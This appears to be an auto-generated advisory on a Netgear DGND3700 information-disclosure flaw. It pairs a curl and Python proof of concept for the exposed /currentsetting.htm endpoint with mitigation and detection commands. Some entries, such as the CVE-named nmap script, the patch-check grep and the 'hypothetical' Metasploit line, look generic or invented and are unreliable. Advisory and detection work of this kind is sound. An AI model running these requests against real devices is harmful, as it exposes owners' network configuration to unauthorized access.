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How CVE-2025-4980 Works
The vulnerability in Netgear DGND3700 firmware version 1.1.00.15_1.00.15NA resides in the `mini_http` component, specifically within the `/currentsetting.htm` endpoint. Attackers can remotely exploit this flaw to access sensitive system information without authentication. The issue arises due to improper access controls, allowing unauthenticated users to retrieve configuration details, including network settings and device parameters. The CVSS 4.0 score of 6.9 (MEDIUM) reflects its network-based attack vector (AV:N) and low attack complexity (AC:L).
DailyCVE Form
Platform: Netgear DGND3700
Version: 1.1.00.15_1.00.15NA
Vulnerability: Information Disclosure
Severity: Medium
Date: 06/12/2025
Prediction: Patch expected by 08/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Command (cURL):
curl -X GET http://<TARGET_IP>/currentsetting.htm
2. Python PoC:
import requests
response = requests.get("http://<TARGET_IP>/currentsetting.htm")
print(response.text)
3. Metasploit Module (Hypothetical):
module Auxiliary/Netgear/DGND3700_info_disclosure
Mitigation Steps
1. Temporary Fix:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Firmware Check:
md5sum /firmware/image.bin
3. Log Monitoring:
tail -f /var/log/mini_httpd.log | grep "currentsetting.htm"
Detection & Forensics
1. Nmap Scan:
nmap -p 80 --script http-vuln-cve2025-4980 <TARGET_IP>
2. Wireshark Filter:
http.request.uri contains "currentsetting.htm"
3. Splunk Query:
index=netgear sourcetype=access_log "/currentsetting.htm"
Patch Verification
1. Post-Patch Check:
grep "fixed_CVE20254980" /etc/version
2. Vendor Advisory:
https://www.netgear.com/security/advisories
Additional References
- CWE: CWE-200 (Information Exposure)
- Mitre ATT&CK: T1592 (Gather Victim Host Information)
- Snort Rule:
alert tcp any any -> any 80 (msg:"CVE-2025-4980 Exploit Attempt"; content:"/currentsetting.htm"; sid:1000001;)
Sources:
Reported By: nvd.nist.gov
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